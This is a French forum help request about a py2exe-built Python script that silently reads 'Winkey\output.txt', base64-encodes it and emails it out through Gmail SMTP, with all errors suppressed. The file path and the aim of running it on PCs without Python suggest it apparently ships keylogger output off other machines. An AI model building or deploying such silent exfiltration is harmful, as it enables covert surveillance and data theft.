Bonjour,

Encore un problème mais cette fois après la transformation en exe de mon script.

Celui envoie un mail avec pièce jointe.

Lors de l'execution du script pas de problème.

Après la génération du script en exe pas de souci sur le pc ou est installé python mais problème sur un pc qui n'a pas de python.

Cela commence l'execution mais ca ne va pas jusqu'a l'authentification et ca s'arrete.

Pourtant, il me semble (du moins jusque la avec les autres scripts ca fonctionnait comme cela) que py2exe regroupe tout le nécessaire pour l'execution de l'exe.

Voici le script :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#-*- coding: utf-8 -*-
 
import smtplib
import base64
 
filename = "c:\Program Files\Winkey\output.txt"
 
# Read a file and encode it into base64 format
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)  # base64
 
sender = 'moi@gmail.com'
reciever = 'moi@gmail.com'
 
marker = "AUNIQUEMARKER"
 
body ="""
This is a test email to send an attachement.
"""
# Define the main headers.
part1 = """From: From Person <moi@gmail.com>
To: To Person <moi@gmail.com>
Subject: Sending Attachement
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
 
# Define the message action
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
 
%s
--%s
""" % (body,marker)
 
# Define the attachment section
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
 
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
 
try:
	smtpObj = smtplib.SMTP('smtp.gmail.com')
	smtpObj.set_debuglevel(1) 
	smtpObj.ehlo() 
	smtpObj.starttls() 
	smtpObj.ehlo() 
	smtpObj.login('moi@gmail.com', 'password') 
	smtpObj.sendmail(sender, reciever, message)
	print ""
except Exception:
	print ""
Merci encore pour vos lumières si précieuses et pour votre aide

Amicalement
Steph70